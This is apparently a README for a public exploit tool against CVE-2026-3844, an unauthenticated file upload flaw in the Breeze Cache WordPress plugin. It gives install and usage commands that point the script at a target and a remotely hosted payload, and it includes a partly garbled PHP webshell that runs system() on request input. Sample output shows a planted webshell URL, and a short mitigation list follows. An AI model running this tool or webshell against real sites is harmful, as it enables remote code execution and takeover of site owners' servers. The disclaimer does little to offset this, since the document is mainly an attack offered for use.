Exploit for CVE-2026-3844

## https://sploitus.com/exploit?id=3FF7A923-70A3-5DD1-BC8D-D17633D66593
CVE-2026-3844
  Breeze Cache ≤ 2.4.4 - Unauthenticated Arbitrary File Upload
  
  [![MIT License](https://img.shields.io/badge/License-MIT-green.svg)](LICENSE)
  [![Python 3.6+](https://img.shields.io/badge/Python-3.6+-blue.svg)](https://www.python.org/)
  [![WordPress](https://img.shields.io/badge/WordPress-%3C%3D6.x-blue?logo=wordpress)](https://wordpress.org/)


---

## ⚠️ Disclaimer

```
THIS TOOL IS PROVIDED FOR EDUCATIONAL AND SECURITY RESEARCH PURPOSES ONLY.
Unauthorized access to computer systems is illegal. Use this tool only on
systems you own or have explicit permission to test. The author assumes
no liability for any misuse or damage caused by this software.
```

## 📋 Description

CVE-2026-3844 is a critical unauthenticated arbitrary file upload vulnerability in **Breeze Cache** plugin for WordPress (versions ≤ 2.4.4). The plugin fails to properly validate the `srcset` parameter in comments, allowing remote attackers to upload malicious files (including webshells) to the server.

### 🔴 Severity

- **CVSS Score**: 9.8 (Critical)
- **Attack Vector**: Network
- **Authentication Required**: No
- **Impact**: Remote Code Execution (RCE)

## 🎯 Affected Versions

- Breeze Cache **≤ 2.4.4**
- WordPress **all versions** (plugin-dependent)

## 🔧 Technical Details

The vulnerability exploits the Gravatar caching functionality in Breeze. When a comment is posted with a specially crafted `srcset` parameter containing a remote file URL, Breeze downloads and stores the file locally in:

```
/wp-content/cache/breeze-extra/gravatars/[random_marker][file_extension]
```

**Prerequisite**: The "Host Files Locally - Gravatars" option must be enabled in Breeze settings.

## 🚀 Installation

```bash
# Clone the repository
git clone https://github.com/0xgh057r3c0n/CVE-2026-3844.git
cd CVE-2026-3844

# Install dependencies
pip install pycurl termcolor
```

## 💻 Usage

### Basic Usage

```bash
python3 CVE-2026-3844.py -u http://target.com
```

### Advanced Options

```bash
# Check if target is vulnerable without exploitation
python3 CVE-2026-3844.py -u http://target.com --check-only

# Use custom payload URL
python3 CVE-2026-3844.py -u http://target.com -p http://your-server.com/payload.php

# Save output to file
python3 CVE-2026-3844.py -u http://target.com -o shells.txt

# Increase timeout for slow targets
python3 CVE-2026-3844.py -u http://target.com --timeout 30
```

### Command Line Arguments

| Argument | Description |
|----------|-------------|
| `-u, --url` | Target URL (required) |
| `-p, --payload` | Remote payload URL |
| `--timeout` | Request timeout in seconds (default: 15) |
| `--check-only` | Only check if target is vulnerable |
| `-o, --output` | Save shell URL to file |

## 📝 Custom Payload Example

Create your own webshell (`shell.php`):

```php
";
    system($_REQUEST['cmd']);
    echo "";
}
?>
```

Host it somewhere accessible, then use:

```bash
python3 CVE-2026-3844.py -u http://target.com -p http://your-server.com/shell.php
```

## 🔍 Verification String

The exploit automatically checks for the verification string `4356452d323032362d33383434` (hex encoded "CVE-2026-3844") in the uploaded file to confirm successful exploitation.

## 🛡️ Mitigation

1. **Update Breeze Cache** to version **2.4.5 or higher**
2. Disable "Host Files Locally - Gravatars" if not needed
3. Implement Web Application Firewall (WAF) rules
4. Regularly audit comment functionality

## 📸 Screenshot

```
[*] PHASE 1: VULNERABILITY ASSESSMENT
[*] Checking Breeze plugin version...
[+] Target VULNERABLE (Breeze v2.4.4)

[*] PHASE 2: EXPLOITATION
[!] REQUIREMENT: 'Host Files Locally - Gravatars' MUST BE ENABLED
[*] Step 1: Sending malicious comment...
[+] Comment posted successfully
[*] Step 2: Waiting for Breeze to cache the file...
[*] Step 3: Checking for uploaded file...
[+] File found at: http://target.com/wp-content/cache/breeze-extra/gravatars/x7k3m9p2.php
[+] VERIFICATION STRING FOUND - EXPLOIT SUCCESSFUL!

[✓] STATUS: SUCCESS
[✓] WEBSHELL URL: http://target.com/wp-content/cache/breeze-extra/gravatars/x7k3m9p2.php
```

## 📁 Directory Structure

```
CVE-2026-3844/
├── CVE-2026-3844.py    # Main exploit script
├── README.md            # This file
└── LICENSE              # MIT License
```

## 📄 License

This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.

## 🙏 Credits

- **Author**: 0xgh057r3c0n
- **Discovery**: Security research team
- **CVE ID**: CVE-2026-3844

## 📞 Contact

- GitHub: [@0xgh057r3c0n](https://github.com/0xgh057r3c0n)
- Report issues: [GitHub Issues](https://github.com/0xgh057r3c0n/CVE-2026-3844/issues)

## ⭐ Support

If you find this tool useful, please give it a star ⭐ on GitHub!

---


  Built with 🐍 Python | For educational purposes only